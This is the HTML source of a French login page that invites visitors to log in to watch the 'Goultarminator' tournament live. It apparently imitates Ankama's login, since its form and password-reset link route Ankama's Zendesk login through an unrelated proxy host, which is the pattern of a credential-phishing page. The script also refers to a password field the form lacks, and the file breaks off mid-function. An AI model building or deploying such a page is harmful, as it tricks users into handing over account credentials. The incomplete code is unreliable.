Cligno
Cligno
DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Se connecter pour le Live Goultarminator</title>
<style>
body {
font-family: Arial, sans-serif;
background-image: url('Goultarminator.JPG');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
background-color: rgba(255, 255, 255, 0.9); /* Slightly transparent white */
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 300px;
}
h1 {
text-align: center;
margin-bottom: 10px;
color: #333;
}
h2 {
text-align: center;
margin-bottom: 20px;
color: #555;
display: flex;
align-items: center; /* Pour centrer l'image verticalement */
}
h2 img {
width: 20px; /* Ajustez la taille de l'image selon vos besoins */
margin-left: 5px; /* Espace entre le texte et l'image */
animation: blink-animation 1s infinite; /* Animation clignotante */
}
@keyframes blink-animation {
0% {
opacity: 0;
}
50% {
opacity: 1;
}
100% {
opacity: 0;
}
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
}
input[type="email"], input[type="password"] {
width: 100%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
button {
width: 100%;
padding: 10px;
background-color: #007bff;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
button:hover {
background-color: #0056b3;
}
.forgot-password {
text-align: center;
margin-top: 10px;
}
.forgot-password a {
color: #007bff;
text-decoration: none;
}
.forgot-password a:hover {
text-decoration: underline;
}
#error-message {
color: red;
font-size: 14px;
margin-bottom: 15px;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1>Bienvenue au Tournoi Goultarminator</h1>
<h2>Connectez-vous pour le Live<img src="clignotant.png" alt="Clignotant"></h2>
<form id="login-form" action="https://ankama.zendesk.com/access/login"
method="post" onsubmit="return validateForm()">
<label for="user_email">Identifiant</label>
<input type="email" name="user[email]" id="user_email" required
placeholder="Entrez votre identifiant" />
<div id="error-message"></div>
<button type="submit">Connexion</button>
</form>
<div class="forgot-password">
<a
href="https://ankama.zendesk.com/auth/v2/login/password_reset">Réinitialiser le mot
de passe</a>
</div>
</div>
<script>
function validateForm() {
var email = document.getElementById("user_email").value;
var password = document.getElementById("user_password").value;
var errorMessage = document.getElementById("error-message");
errorMessage.innerHTML = "";